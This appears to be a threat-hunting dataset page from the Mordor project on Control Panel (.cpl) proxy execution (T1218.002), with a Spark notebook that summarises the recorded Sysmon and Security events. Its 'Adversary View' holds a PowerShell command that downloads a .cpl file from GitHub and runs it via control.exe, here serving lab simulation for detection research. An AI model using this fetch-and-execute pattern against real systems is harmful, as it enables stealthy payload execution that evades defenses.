Control Panel Execution¶

Metadata¶


Author	Roberto Rodriguez @Cyb3rWard0g
Creation Date	2020/10/22
Modification Date	2020/10/22
Tactics	[‘TA0005’]
Techniques	[‘T1218.002’]
Tags	[‘art.037e9d8a-9e46-4255-8b33-2ae3b545ca6f’]

Dataset Description¶

This dataset represents threat actors leveraging control.exe to execute a .cpl file to proxy execute another payload (i.e. calc).

Datasets Downloads¶

Dataset Type	Link
Host	https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_control_panel_execution.zip

Notebooks¶

Notebooks created by the community leveraging the mordor datasets

Author	Name	Link

Simulation Plan¶

Environment	Tool Type	Module
Lab VM	Manual	powershell

Adversary View¶

Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.002/bin/calc.cpl" -OutFile C:\ProgramData\calc.cpl
control.exe C:\ProgramData\calc.cpl

Explore Mordor Dataset¶

Initialize Analytics Engine¶

from openhunt.mordorutils import *
spark = get_spark()

Download & Process Mordor File¶

mordor_file = "https://raw.githubusercontent.com/OTRF/mordor/master/datasets/small/windows/defense_evasion/host/psh_control_panel_execution.zip"
registerMordorSQLTable(spark, mordor_file, "mordorTable")

[+] Processing a Spark DataFrame..
[+] DataFrame Returned !
[+] Temporary SparkSQL View: mordorTable 

Get to know your data¶

df = spark.sql(
'''
SELECT Hostname,Channel,EventID, Count(*) as count
FROM mordorTable
GROUP BY Hostname,Channel,EventID
ORDER BY count DESC
'''
)
df.show(truncate=False)

+------------+------------------------------------+-------+-----+
|Hostname    |Channel                             |EventID|count|
+------------+------------------------------------+-------+-----+
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|7      |480  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|10     |408  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|12     |170  |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|13     |82   |
|WORKSTATION5|Security                            |4658   |30   |
|WORKSTATION5|Security                            |4690   |15   |
|WORKSTATION5|Security                            |4656   |15   |
|WORKSTATION5|Security                            |4663   |12   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|11     |10   |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|1      |9    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|9      |9    |
|WORKSTATION5|Security                            |4688   |9    |
|WORKSTATION5|Security                            |5158   |8    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|5      |6    |
|WORKSTATION5|Security                            |4689   |6    |
|WORKSTATION5|Security                            |5156   |6    |
|WORKSTATION5|Security                            |4673   |3    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|3      |3    |
|WORKSTATION5|Microsoft-Windows-Sysmon/Operational|22     |2    |
|WORKSTATION5|Security                            |4624   |1    |
+------------+------------------------------------+-------+-----+
only showing top 20 rows

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